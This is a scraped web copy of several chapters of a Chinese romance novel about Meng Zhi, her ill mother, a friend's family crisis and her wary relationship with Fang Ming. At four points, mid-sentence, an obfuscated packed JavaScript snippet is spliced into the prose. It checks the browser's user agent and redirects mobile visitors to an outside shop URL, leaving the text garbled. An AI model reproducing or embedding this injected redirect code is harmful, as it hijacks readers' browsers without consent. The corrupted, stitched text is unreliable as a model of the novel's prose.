赛罗肯定地说:“他迷恋你的一切,想要拥抱你,亲吻你,把自己交给你,想要纠缠,交织,覆盖,用尽一切力量与你融合。” “接。”孟至二话不说,发了一连串双手合十的表情,虔诚地迎接好运。她几乎要拍手称快。 “……”赛罗哑口无言,只能讪讪地回答,“你真是一个潇洒又坦荡的女生。” 孟至习惯性地偷瞥了一眼方铭,忽然注意到他耳朵发红。周围没有任何镜面能反射自己的聊天记录,况且他就算看了也不知道自己就是对话中的主角,因此孟至并不担心他察觉到什么。她只是有些疑惑,难道自己方才给了他一脚,竟把他踢得娇羞起来? 她对赛罗说:“哎呀,借你吉言,希望他真是想要围绕我?我看他面得很,总是软绵绵的,羞答答的,好像底气不足。” 赛罗仍旧不做任何评价。而桌对面的方铭不再耳朵发红了,他又开始面色铁青,令人捉摸不透。 斯基曾分析说,方铭认为孟至先给予他希望,又用模棱两可的暧昧态度拒绝了他冲动的示好,所以他一定认为孟至是个在感情中游刃有余的海王。 想到这里,孟至十分心虚,主动对赛罗吐露更多背景资料:“这牌真的不是棒打我的意思吗?实不相瞒,我还是觉得他想揍我,还可能觉得我在玩弄他。但我真没有,我以前都没谈过恋爱的。” 赛罗仍旧不置一词,也许是不甚在意孟至有无感情经历。孟至礼貌地问了一句:“你算命太专业了,是不是你的副业?收费吗?我转给你,还有刚才的红包你一定要收。” 那边一片寂静,看来是不会再回复了。孟至还想问问他今天为什么临时决定去相亲,是不是被逼迫的?但她觉得赛罗的回复意愿不高,就没再多问。她从心底相信,经过这一次的波折及谈心,两人已经结成同盟,从此不会再滋生龃龉和妄念。 她浑身放松,向后靠在椅背上,伸手拿起微微发冷的咖啡,突然发现方铭正紧紧地盯着她。这次,她一边喝着咖啡,一边光明正大地看着方铭。 方铭的眼神带有罕见的压迫感,就像一只专注的野兽所能射出的目光,既充满探究,又似乎要把她拆吞入腹。对于他变幻莫测的神态,孟至不以为意。她刚想说点什么,手机就响了起来。 是斯基打来的电话。因为时差的存在,平时两人总是事先约好通话的时间,这类突如其来的电话通常代表着紧急情况。孟至匆匆拿起外套,一边接起电话,一边大步走向门外,把方铭留在了脑后。 街头的冷风吹向孟至,让她打了个寒战。在电话里,斯基死气沉沉地告诉孟至,今年冬天她会回一趟老家,大概就在春节前,等她处理完手里的项目就动身。 孟至还没来得及高兴,就听她继续说道:“我妈的肝脏出了毛病,我要回去带她治病。” 斯基的父母近几年分居了。一般人家的老两口能互相扶持,而在斯基家里,父母任何一方生病,都只能由她陪同跑动治病。她在两头之间奔走,筋疲力尽。孟至沉默了一下,靠在街角的墙上,简短地问:“严不严重?” 斯基疲惫地恩了一声,突然泄气地说:“我本想读完博士以后留在这里的。” 孟至轻声说:“阿姨的病总能好转的,你活的是你自己的人生。如果真的想留在国外工作,可以试试找一个remote的岗位,这样一年里有很多时间可以回国。现在的养老产业园区也可以帮点忙。” “我知道,我不会完全放弃自己的。”斯基停顿了一会儿,突然崩溃地说,“为什么他们年轻时候要造孽?” 孟至没有回答,话筒里只录入她的呼吸声。斯基说:“为什么他们那时候成天喝酒,成天熬夜,成天忙着灯红酒绿?疯了似的醉生梦死,就不想想我吗?现在他们生病了还不是要我来管?他们有这样管过我吗?” 孟至裹上外套,抱紧双臂抵御着寒风,静静地说:“本来就是不公平的。” “没错,不公平。”斯基伤心地说,“小至,我跟你说,我甚至觉得我的情路这么坎坷,都是我爸年轻时作的恶报应在我身上。他把我妈扔在家里,去骗年轻女生,你记得吗?” 孟至说:“也许是这样的。报应,因果,在代际之间传递。” 斯基说:“但有时候我一想到他们老了,我又心软了。我每次回家的时候呢,至少有我妈给我做饭。但他们呢,都是自己一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611291|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冬天只要睡个午觉醒来,天就黑了,锅台都是冷的。他们不快乐,我也不快乐,我要疯了。” “我前段时间想明白一个事,你也可以试试。”孟至看着川流不息的车辆,用一种安慰的、平缓的声音说道,“其实我们都是玻璃瓶子,只是比较埋汰,蒙了一层灰尘。所以我想,最简单的做法是洗净瓶子,去爱父母,不用再想那些没有答案的事。想了那么多,不还是一样,还能割断亲情吗?出了问题,我们解决问题就够了。” “你才是埋汰瓶子呢。”斯基先是笑了两声,然后发出无规律的吸气声和抿嘴声。孟至知道她在哭泣,她从小就是这样哭的。 终于,斯基说:“好了,我觉得我还能再活几天。” “我这几天先去看一下阿姨,替她跑跑腿。”孟至故作轻松地说,“你呢,还是先做你的项目吧,小心毕不了业。明天的事明天再想。” 放下电话后,孟至遥望着街对面一处公交车站的广告牌,陷入长久的沉思。广告牌上滚动播放着滑雪场的照片,皑皑白雪覆盖了山坡,是她从小到大最熟悉的景象。斯基的艰难生活让孟至看到了自己的未来。父母日渐衰弱和孤单,老家比珠三角更需要她。她决定不走了。 想通了这一层之后,她忽然如释重负,觉得非常非常困倦。她用一只脚支着墙壁,将双手插进口袋里。接着,她注意到自己身上没那么冷了。 转头一看,方铭就站在她旁边,一言不发地凝视着她的侧脸。他高大的身体替她挡住了寒冷的西北风。 孟至扬了一下眉毛。方铭闷闷地问:“为什么突然跑了,躲我吗?” “那你为什么出来了?”孟至反问道,“你在追我?”话说出口,才发现有点歧义。一时间,两人都没有吭声。 孟至突然懒洋洋地说:“哎,来都来了,玩个游戏吧。真心话大冒险,怎么样?” “可以。” “来吧,石头剪子布。”孟至举起一只拳头,虚张声势地说,“石头——剪子——布!” 在她出布的一瞬间,方铭低低伸出手来,出了一个剪刀。孟至立刻说:“忘了说了,三局两胜哈。” “可以。” 加上补充的两局,孟至一共输了三局。她把手插回兜里,干咳一声,说:“好,你赢了,我出题。” 方铭气笑了:“我赢了不是应该我出题?” “不,谁赢了谁接受考验。”孟至笑眯眯地说,“你选真心话还是大冒险?” 方铭的嘴角浮现出淡淡的笑意。他无奈地说:“大冒险。” “好嘞。”孟至向旁边一扬下巴,“你去随便找个路人,问那人现在几点了。等人家告诉你之后,你就要自言自语地说,哦,那到了我做俯卧撑的时间了。然后你就在人家面前做俯卧撑。” 回应她的是一阵死一般的寂静。方铭不动声色地看着她,孟至把脸转了回来,镇定自若地盯着街对面的广告牌。 方铭忽然走上两步,站在孟至面前。两人正面相对,仿佛两军对峙,孟至结巴了一下:“干什么?”她突然想到那张牌面上的木棒。方铭是不是要动手揍人了?难道该来的还是来了? 方铭慢慢抬起一只手臂,撑在她脸边的墙面上。接着他整个身体前倾过来,完成了一个标准的单手俯卧撑,只不过是在墙面上进行。 他的脸越来越近,孟至只觉得自己的鼻尖快要擦上他的嘴唇。他垂着睫毛,向下俯视着孟至,他身体的热度蔓延过来,即使隔着外套也能感觉到。 孟至一动不动,呆呆地看着他完成了她规定的俯卧撑。然后,方铭好笑地看了她一眼,很有弹性地撤回手臂,转身走远了。 25. 乍现 在这个冷气森森的初冬,孟至生平第一次觉得庆幸,也生平第一次感到恐惧。她庆幸自己把刘校长的体检提前了几天,因为体检报告显示刘校长的心脏出现了问题。心电图和心脏彩超提示了心肌缺血的迹象,孟至接到体检中心的电话后,就开始为刘校长预约公立医院的心内科检查。 孟至坚持要选择本省最好的心内科,那家医院的号非常难挂,往往在挂号网上一放出号来,就被哄抢一空。最后还是刘校长的一个学生帮忙打了招呼,请一位医生加了号。 孟至六点起床,七点多就到了医院门诊部,拿着医生手写的加号纸条,去缴费窗口替刘校长挂了号。她只觉得茫然失措。在那个遥远的职场上,她如鱼得水,光彩照人。当回到老家,她才发现自己手无缚鸡之力,依然依靠着老一辈的关系网。 很快,刘校长也到达门诊部,她甚至先去了一趟学校,然后由专职司机送到医院。孟至无言地往旁边挪了一下,刘校长坐在她旁边,两人的脸色都很沉郁,谁也没有说话。周围人声嘈杂,人人互相挤着,碰撞着,在过道上费劲地移动着。孟至看到有个老太太在乞求某医生的助手给她加号,那助手坚决地摇摇头,很快走回诊室,老太太又站了一会儿,只好转身回家了。 这里的一切都让孟至感到不适。排了很久的队,终于叫到了刘校长的号。医生开了几项检查,包括冠状动脉CTA和冠状动脉造影。短暂的问诊过后,是新一轮的排队。孟至照例和刘校长分头去排几项检查的队伍,看着刘校长走远的背影,她忽然感到一阵无力的庆幸。她庆幸刘校长还能自如地走路,也庆幸自己没有回到南方。 但那个未知的检查结果压垮了她。起初她不敢搜索可能的诊断,后来又忍不住拿出手机去查,然后一发不可收拾,越查越胆战心惊。 复诊后,刘校长被安排住院,接受心脏支架手术,她的心脏里将被植入5个支架。 在这人影幢幢的医院里,一切按部就班地来临,孟至被动地接受着每一个步骤。她机械地跑来跑去,办理各种手续,去医院门口的小卖店里购买生活用品。她甚至不太记得时间是怎么来到手术这天的,等她回过神时,刘校长已经进了手术室,老孟坐在一边,面如死灰。 她听见自己说:“爸,我去走廊接个电话。”然后她躲进走廊,坐在台阶上瑟瑟发抖。 这家医院的大楼是新修的,里面的装潢十分考究,从墙壁、地面到灯光全部是暖色调。但她并没有放松下来,反而总觉得有股冷风四下回荡。 就在她抱紧双腿时,赛罗的消息来了。距离上一次联系已经过去很多天,那场鸡飞狗跳的相亲好像是上辈子的事了。 赛罗说:“上次有点忙,忘了回复你的微信。后来你见到喜欢的人了吗?” 停顿了一下,他又加了一句:“他真的面吗?” 就像抓住了一根救命稻草,孟至想要吐露点什么,好像这样就能把心里的重物倒出去一部分。她强忍着心里七上八下的波澜,对赛罗说:“我家里出了点事,我妈在手术,心脏支架。” 发完了这句,她觉得浑身无力,就靠在了墙壁上。尽管被装修成温暖的原木色,墙壁依然是冰冷的。 赛罗很快回复道:“哪家医院?需要帮忙吗?” “二院。”孟至有气无力地打了几个字,“不用麻烦你了,手术之后,顺利的话,应该静养就行了。” 如果不顺利的话,后续他们家的生活会是怎样的?她完全不敢去想。然而,越是不去想,就越是已经想过了。 孟至闭上眼睛,眉头还是微微皱着。好像没有过去多久,她听见身后有匆忙的脚步声。有人大步跑来,在她背后刹住。一时间,她以为是老孟跑来告诉她手术效果很不理想,顿时吓得心脏都骤停了。 她转过头来,绝望地抬头看去,却发现方铭正沉沉地俯视着她。他额头上的碎发被风吹得立起来,十分凌乱。没有了那些碎发的遮挡,他目光中的担忧变得无遮无拦,让孟至心里动了一下。 她昏昏沉沉地问:“你怎么在这里?也来看心脏吗?” “路过。” 孟至哦了一声。方铭抿起嘴唇,在她旁边坐了下来。两人挤在同一个台阶上,手肘互相触碰着。就像有一些暖意融融的星星洒在孟至的手臂上,她竟然有一瞬间留恋着这种触感。 方铭轻声问道:“你在等家里人手术?” “恩,我妈,心脏支架,5个。”孟至重新靠回到墙上。手术室这一层显然没有门诊部那样爆满,此时此刻,楼梯间里静悄悄的。 两人默默地坐着。不知过了多长时间,方铭又问:“你在想什么?” “我在想,”孟至气若游丝地说,“高端医疗险很有必要。它不同于普通的百万医疗险,它是可以报销高级私立医院的费用的。如果去私立医院,应该不用大排长龙做检查吧。” 方铭愣了一下,摇着头笑了。他伸出一只手,小心地将手腕垫在孟至的肩膀和墙壁之间,顺带着让整条手臂环绕着孟至的后背。那暖洋洋的体温让孟至觉得很安心,她想要避开,却动弹不得,于是就这样一直取暖。 终于,主刀医生宣布手术成功,刘校长被转入病房观察。老孟举起手来,给周围的人展示他手掌的抖动:“你们看看,要是再过一会儿,我这心脏也完了。”随后他就被护士请去吸氧了。 孟至抱着手臂站在一边,听医生的助手讲解术后事项,有一种劫后余生的感觉。方铭从楼梯间里踱了出来,不动声色地站到她的旁边,仿佛自己也是病人家属。 等到助手全部讲完,孟至才发现方铭已经将要点记在了手机上。她把头伸过去扫了一眼,充满感谢地说:“你没删我微信吧?没删的话能不能发给我?谢谢了。” “……好。”方铭低头摆弄着手机,“只要你不删除我,我是不会删除你的。” 孟至的眼睛突然聚焦了。暂时地卸下压力后,大脑又开始做功,许多画面浮了出来,比如不久前那个墙壁上的俯卧撑。再然后,孟至又想起来方铭不是已经不喜欢她了吗?为什么又对她施以同情的援手? 他不是变得冷酷淡漠、不复初识模样了吗? 她戒备地看了一眼方铭,像审讯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644383|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样开口了:“你怎么在这里?” 方铭几乎闭气了:“这个问题你刚才已经问过了。而且我不是一直在这里吗?” “刚才没注意。”孟至点了点头,继续严肃地看着他。方铭垂着眉毛眼睛,嘴唇微微撅了起来,似乎觉得孟至是个提上裤子就不认人的无赖。他冰凉地问道:“那刚才和你坐在一起的是谁?” 孟至说:“没认出来。” 方铭向下睥睨着她,轻轻哼了一声。在老孟重新出现之前,方铭离开了这层楼。孟至完全看不出他是要给医院换锁还是收瓶子,她只是看着方铭站在电梯轿厢里,十分危险地注视着她。接着,电梯的门关上了。 “我跟着去病房看了,你妈住的双人间,挺好的。”老孟拖沓着走回来了,他一手擎着氧气袋,鼻孔里插着吸氧管,看得孟至不禁头大,觉得家里竟凑不出一个完整的好人。 她最后看了一眼电梯门,就跟着老孟去病房了。在冠心病监护病房里,刘校长平躺在床上,嘴唇灰白,元气大伤。 监护仪器正在一刻不停地工作着,一种压抑的气息再次包围了孟至。隔壁床的病人也仰面躺着,他家的家属却一副处变不惊的样子,显然见过大世面,甚至邀请孟至去走廊聊天。 走廊里聚集着临近病房的家属,每个人都背手站立,松弛地交流着这几年的治病心得。一位大叔声称自己原本住在边境地区,生活安定悠闲,要不是为了陪家人看病,这会儿应该还在老家祖宅的室外灶房里,用大铁锅做饭,林蛙是他的拿手菜,可以跟豆角一起炖。 孟至忍不住大声重复了一遍:“豆角炖青蛙?” 另一位大姐说:“对了,东北人夏天就是吃豆角。” …… 一圈人越聊越开怀,还有人返回到病房中,拿出瓜子款待众人,孟至也分到一小把。大家咔咔磕了起来,瓜子皮扔在一只牛皮纸袋里。 忽然有一群医生护士从他们中间穿过,脚不点地,奔向某个病房。那间屋子里突然有病人需要急救。 林蛙大叔紧跑几步,跟着去看,嘴里念念有词:“哎呀哈,可不是老李吧?”原来那屋子里住的是他结交的病友。 而走廊里的人还在你一言我一语地聊着。孟至背靠着墙壁,单手插兜,若有所思地看着他们。她发现人的韧性是如此强韧,在经历疾病的打击时,这些病人家属一定也曾心如死灰。但现在他们又重回平静乃至悠扬,就像一个瘪了的气球重新变得饱满。孟至觉得不可思议。 她摸出手机,想跟斯基谈谈这种感想。屏幕上显示着一条未读消息。 小方-开锁回收旧家具:这是刚才记的术后护理要点。 下面是一张备忘录截图。孟至点开一看,记得和会议纪要一样,一条是一条,工整而严谨,每条开头编号,段后空一行。 她诚心诚意地回复道:“谢谢你,记得真全,跟我用脑子记的一样。” 不出意外地,方铭没有回答,正如此前一样冷如寒霜。 不管他的态度如何,孟至还是我行我素地加了一句:“也谢谢手臂靠垫。” 26. 推理大师 上午十点,水冰月订购的营养品送到刘校的病房,这时孟至正在尽职尽责地洗苹果,就像涣衣女一样任劳任怨。她一手端着一盆苹果,匆匆忙忙地走出病房的洗手间,一边从快递员手中接过包裹,一边邀请他拿一个苹果再走。 不等她拆开包裹,来自斯基的转账又叩响了孟至的手机。斯基豪掷千金,还说有一种药是营养心脏的,每半个月注射一次,效果颇佳,只是她忘了这药的名字,她让孟至务必去打听一下,看看能不能给刘校用上,第一支药算她请。 孟至也没有客气,直接收下了转账,用语音消息大声回复道:“谢谢大姐请客打针!” 近日,刘校长转入普通病房,精神稍有好转。但她常常躺在床上,很少下地活动。孟至注意到她走路的步伐明显变慢了,好像在拖着脚往前趟水。仿佛衰老不是缓慢地发生的,而是突然降临的,当人发现它的时候为时已晚。 刘校长突然转头看着孟至,说:“我上一次住院还是生你的时候。”这样一来,孟至更加恍如隔世。 刘校长继续说:“你出生之前,我缝了一个小被子。你姥姥说我缝的不好,她重新缝了一个,我一看,确实比我做的那个好。做完这个被子,最后一件准备工作就完成了,感觉心里好像放下一件事。你姥姥说,挺好,就等着迎接这个小生命了。” 说完以后,病房重归寂静。孟至诧异地回过头来看着刘校长,她描绘的画面出乎孟至的意料。孟至无法想象那样的对话发生在姥姥和刘校长的身上。在生命诞生之初,她们真心实意地期待过孟至的到来。那么姥姥和姥爷也一定曾为刘校长的降世而欢欣鼓舞。尽管在新生命真的到来后,他们又做了那么多伤害这条生命的事。 刘校长闭目养神,不再和孟至说话。方才的一幕就好像从来没有发生过,孟至简直以为那是自己的幻觉。越是回溯过去,就越是发现姥姥姥爷也有过许多温情时刻。然而无论如何,孟至都没法再对他们燃起亲切的爱意,她想起的永远是他们大吵大闹的场面。恐惧而刺痛的感觉、没有被悉心照料的感觉,依然伴随着这些画面出现,令她不寒而栗。 就在她陷入思维漫游时,许久不见的青龙师兄找上门来。 孟至去医院楼下迎接他,发现开车的竟是白虎,他们还带了一个果篮和一箱牛奶,说是来探望一下“孟至的老母亲”。两人神色肃穆,下车后对孟至点头致意,一脸凝重地跟着她往刘校长的病房走,显然调用了日常工作中的方式方法。孟至一边带路,一边不太乐意地说:“喂,你俩能不能别演了?又不是来出任务了。” 青龙似乎也觉得自己戏过了,便恢复了往日的和蔼神采:“你妈啥时候出院?” “明后天就差不多了。”孟至懒洋洋地一笑,“回去就是静养了,不过她那个工作狂魔,不知道能不能真的静养。” 三人排着长队,在走廊中铿锵前进。这是白事三剑客组合首次整齐公开亮相,但孟至知道这也是最后一次了。 刘校长上一次见到青龙,还是在夏天的葬礼上。她似乎误以为青龙把她当成老客户来探望,顿时十分感动。孟至一直没有告诉刘校长,这两位就是“长者服务”的合伙人。青龙也颇为识相,三缄其口。有几次白虎差点要把孟至的兼职抖搂出来,比如“我们跟孟至同事一场”,每次都被青龙堵了回去。 等到送这两人下楼时,孟至开口了:“师兄,我想跟你商量个事。” 青龙和和气气地说:“你不提我也知道,你以后就不来墓园了吧?” “师兄,明白人。”孟至朝他竖起大拇指,“我就说你一点就透。” 白虎不屑地看了一眼孟至,意思是他早就看出这个兼职的不可靠。送完了果篮,他一副总算忙完了的样子,率先回车里抽烟去了。孟至嫌弃地躲到上风口,又和青龙聊了几句。她客气地说:“师兄,这段时间多谢你照顾了。”实际心里在想,跑了这么多趟墓园也没赚到几个钱。 青龙说:“嗯呐嗯呐。接下来你准备干啥?” “干一票大的。”孟至双手抱着胳膊,拢紧了呢子大衣,“我想好了,还要回去做保险,我的老本行。” 白虎远远地插了一句:“那你可别来找我推销。” “我都没加你微信。”孟至笑眯眯地说,“你别来给我推销葡萄酒和辣条就行了。” “是甜辣豆丝!” 孟至没再理会,继续对青龙说:“我们家里商量好了,之后把我姥姥的骨灰洒进江里,不放殡仪馆了。还是水葬最省事,要不然若干年之后,谁还能给谁上坟呀?” “嗯呐嗯呐。全世界的水都是通的,洒水里了就是环游世界去了。”青龙点头应和道,“你说这个上坟的问题,还真是个不容忽视的现象。我老家村里有一家人,祖坟变成树林了,现在他家上坟得用GPS定位,精准定到早先坟头的那个点……” “真厉害。”孟至惊叹道,“赛博上坟法,你就说现在这个科技……” 白虎把头探出车窗,向这边张望着,无声地催促青龙赶紧上车。孟至毫不在意地笑了:“快去忙吧,大师兄。” 青龙郑重其事地伸出手,和孟至握手道别。这一份突发奇想的兼职,就这样告一段落。 送走两人以后,孟至回了一趟自己家,找出了工作用的平板电脑。那个专门用来推销保险的社交账号,已经很久没有登陆了。今天和青龙的几句交谈,突然点燃了孟至心里的旧烟花。现在,她迫不及待地想要重新运营那个账号。虽然还没有开始面试新的寿险公司,在她心里,自己已经有一只脚踏回到寿险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689775|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行业中。 孟至取走了平板电脑,又打包了几件更厚的冬衣。等到刘校长出院后,孟至将在父母家度过一段时间,直到刘校长康复。但她不知道那会是什么时候。又一次,孟至陷入思维漫游,近来她常常做这样的灵魂出窍。 当她拎着一个旅行包等待下行的电梯时,电梯门开了,隔壁邻居母女合力端着一个儿童澡盆走出来。她们像螃蟹一样横着走出电梯,同时叽叽喳喳地责骂澡盆里的狗。定睛一看,那盆里不是一只狗,而是三只。 看到孟至,那对母女打了个招呼,还把澡盆伸到她面前,说这是刚洗过的狗,可以放心地摸。孟至依次摸狗,她发现有一只大黄狗的眼神十分温柔,竟像是姥爷的眼神。尽管这样的联想有些不敬,但孟至的确觉得,那是姥爷望着幼年孟至的眼神,出现在大黄的眼珠里。 那对母女齐心协力地端着狗回家去了,这趟运输令她们大费体力。孟至目送着她们进门,一时间忘了走入电梯。与她们轻快的脚步相比,孟至整个人是沉的。她明白人的轻快心境一去便不再来。回老家后的生活真像一幅暗色的现代主义画作,一切都沉闷而混乱。只有几笔颜料是鲜明的,那是和小方在一起的时候。 无论是小方还是赛罗,都很久没有音讯了,仿佛是知道孟至要在医院陪床,他们就自觉地消失了,以免占用她的时间和情绪。 孟至挎着大旅行包,腾出双手,先点开赛罗的对话框,发了一句:“我妈要出院了,跟你说一声,谢谢前段时间关心!不过你帮我抽的那三张塔罗牌,是不是还有别的解法?我后来碰到那个面的了,他怎么不像是喜欢我,倒像是给我摆冷脸,供你参考参考,看看是不是能研究出来新的牌义?” 赛罗几乎是飞速回复:“他怎么摆冷脸了?” “就是吧,好像一边对我横眉冷对,一边又,”孟至琢磨了一下,脑海里跳出了方铭无限靠近的脸,“一边又对着我做俯卧撑。可能是希望我喜欢他,对他爱而不得,然后呢,他又不喜欢我,这样他就可以带着三份凉薄四分讥诮,冷冷地微笑。”她差点就对赛罗直说,她觉得小方为了复仇而吊她胃口,享受着他不再喜欢她、而她越来越喜欢他的感觉。 赛罗不吭声了。孟至补充道:“当然,我不是说你算的不准,你这大科学家,算的肯定准。”实际她觉得自己的推理无懈可击,逻辑链比塔罗牌更为严密。 那边发来一个微笑的表情,看得孟至毛骨悚然。就在她盘算着要不要给小方发条消息时,小方的消息自己送上门了。 小方-开锁回收旧家具:“阿姨是不是要出院了?” 孟至想都没想,就发出去一句:“你怎么知道?你又算卦了?” 小方-开锁回收旧家具:“过几天有空吗,有点事请教。” 27. 暮色树林中 按照方铭的说法,他是要帮人问问高端医疗保险怎么买,见面谈能降低沟通成本。他声称自从上次听孟至提到这种保险产品后,他就对身边的人提起过。现在人家都觉得这产品性能极佳,能报销私立医院的费用,还说私立医院可是好地方,环境幽雅免排队。 孟至怀疑他是去别人家里干活时,顺道对业主进行洗脑和营销,她简直要赞叹这种扫楼式的入户推销法。不过她表面上还是装出一副很酷的样子,冷冷地对他说:“在哪里接头,给个地址。” 方铭回答道:“C市公园,这周五下午四点,不见不散。” 三天之后,孟至晃晃悠悠地来赴约了。她抵达公园时,时钟正指向下午四点过五分,四下越来越黑,天空呈现出昏暗的灰蓝色。白昼已经很短,冬天正在从西伯利亚赶来。 她想起方铭说在正门集合,而自己来的是侧门,于是她穿过树林,向公园另一面行进。寒风吹来,黄叶纷纷而下,青白的树枝变得更加疏朗,就像铅笔画的线条。 因为刘校长已经回家静养,孟至最近陡然获得许多空闲,所以她抽空去染过一次头发。她走在公园的树木之间,靓丽的红发就像暗沉画面中的一杯红酒。 为了表示对商务咨询的重视,孟至今天穿了一件长及小腿中央的黑色羊绒大衣,这件外套厚实挺括,越往下越宽松,看起来像一棵圆锥形圣诞树。为了保温,她还戴了一条灰色围巾,围巾末梢随风飘扬。她双手插兜,慢慢走着,享受着不冷不热的十一月。 走出树林时,孟至的脚步停了。林边的白色亭子里,有个鬼火红毛在弹电吉他。 那小伙子身形单薄,大约十八九岁,染着一头赤橘色头发,看起来就像孟至的本家,令她倍感亲切。此外他没有给电吉他插音箱,却激情拨弦,科头顿足,全情投入,极能造势。这画面仿佛动漫里描绘的“一阵劲爆的电吉他”,只是琴弦发出的声音弱不可闻。 孟至顿时觉得这个小孩有趣极了。她看了一眼手机,方铭还没有联系她。于是孟至说:“管他的!”她决定默认方铭还没到,自己先和鬼火小孩玩一阵再说。 鬼火小孩看到一个高大冷漠的红发黑衣人径直向他走来、带来一阵杀手的气息,顿时抓紧了自己手中的电吉他。但很快,孟至就来到他跟前,换上一副和颜悦色的表情:“玩啥呢?让我看看呗?” 为了避免让人以为她是什么抢劫的校霸,孟至还补充道:“我弹木吉他的,不过以前也玩过几次电吉他,在我老师家里瞎玩的。” 那小孩松了一口气,把吉他递过去,还指着吉他上那几个旋钮叮嘱道:“我都调好了,你可别再动了哇。” 孟至笑着一扬下巴,单手接过吉他,一骨碌坐在他旁边,把琴架在腿上,从头到尾看了一番,口中啧啧称赞。宝蓝色琴体闪闪发亮,就像电光一样。小孩掏出一根线,将吉他和脚边的音箱连接到一起,这样一来,电吉他终于能弹出原本的声音。 “谢了啊,你自己弹的时候怎么不连音箱呢?”孟至笑眯眯地问了一句。 冷面鬼火郎故作成熟,颇为帅气地说:“没练好之前我是不会让人听见的。” “没事,这公园里根本没人,狗都不来。”孟至冲他一挤眼睛,亲亲热热地一笑,就像对自家兄弟一样。 鬼火郎:“……” 孟至抬头翻着白眼,看了一会儿天空,大致回忆起乐谱,就低头弹了起来。刚一拨动琴弦,她就被轰隆的重音吓了一跳,接着才想起电吉他的琴弦比木吉他更细,拨起来不用那么用力。琴身上那些长条状的金属块是拾音器,它们会将琴弦的震动转换为电信号,再用扬声器把这种信号变成声音。 重整旗鼓后,孟至一条腿垫着吉他,另一条腿向前舒展地伸去。调整好坐姿后,她先习惯性地打了两下板,然而电吉他是实心的,没有风箱,无法共鸣,这两下打板毫无水花。接着孟至以龟速弹起卡农,因为很久没有弹过,她在边弹边回忆谱子,竟使得曲调像踟蹰的脚步,在深秋徘徊飘零。 鬼火郎在旁边听着,揉着一头赤发,心不在焉地点着头。不同于木吉他那空灵柔和的弦音,电吉他的音色更为刚硬,带有浓浓的摇滚味。结合孟至的慢速演奏法,这摇滚又变得有一点哀愁。失真的重金属声,硬朗的卡农曲调,回荡在寂静的公园里。 一曲弹毕,孟至又摸了一会儿冰凉而细腻的琴身,像把玩一只名犬那样爱不释手。正要向鬼火郎讨教一二,忽然听见头顶有个声音清凌凌地说:“你这是在卖艺?” 孟至抬起头,发现天已经彻底黑了。方铭站在她面前五步远的地方,双手插在黑色冲锋衣的口袋里,冷冷地看着孟至和她身边的红毛。 “是呀,”孟至叹了一口气,婉转地说,“家里断顿了,只能出来卖艺呀。” 方铭淡漠地看了一眼鬼火郎,孟至立刻引荐道:“这位是我的琴友,以琴会友。”鬼火郎显然察觉到方铭周身散发出的寒意,就从孟至手里拿过吉他,似乎担心两人打起来会拿这把琴当武器。 “我在正门等你,结果你在这里载歌载舞,”方铭盯着孟至,咬着后槽牙说,“还以琴会友。” 孟至站起身来,活动着略微冰凉的四肢,嘻嘻笑道:“一时技痒。”说着往前溜达两步,这才发现方铭怎么这么高?自己今天穿着一双厚底马丁靴,靴子底像一块铁砖,恐怕能一脚踹倒一棵树,但站在方铭面前,还是比他矮了大半个头。 方铭转身就走,径自沿着小路去往公园深处。孟至回头对鬼火郎说:“老弟,你一般什么时候来练琴?下次再切磋一下?” “可以。”鬼火郎拔掉了音箱,“我一三五都来,一呆就呆一天。” “哎妈呀,真好,你不用上学呀?”孟至惊叹道。 “我小学毕业就去学街舞了,现在是教街舞的。”鬼火郎把电吉他背在身前,一边回答一边开始起范儿,“我姓孙,现在叫迈克尔杰克孙。” 说完,他就开始纵情演奏那不插电的电吉他,在他疯狂的甩头和拨弄下,电吉他发出微弱的声音,比三弦还不如。孟至拔腿去追方铭,同时频频回头看鬼火郎,觉得这小孙有意思极了。 不知什么时候,方铭已经停下脚步,此刻他正站在小路上等孟至。孟至注意到他沉着脸,怨气从他的眉眼之间溢出来,连带着嘴唇也微微撅着。 孟至转过头去,远远地看了一眼公园正门,透过墨水般的夜色,依稀可见门外停着方铭那辆小货车。她满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 